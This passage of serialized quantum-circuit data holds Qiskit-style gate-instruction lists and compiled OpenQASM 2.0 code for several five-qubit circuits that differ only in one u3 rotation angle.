'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [4.9, -1.5707963267948966, 1.5707963267948966], 'texparams': ['4.9', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1285', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(4.90000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [5, -1.5707963267948966, 1.5707963267948966], 'texparams': ['5.0', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1287', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(5.00000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [5.1000000000000005, -1.5707963267948966, 1.5707963267948966], 'texparams': ['5.1', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1289', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(5.10000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [5.2, -1.5707963267948966, 1.5707963267948966], 'texparams': ['5.2', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1291', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(5.20000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx 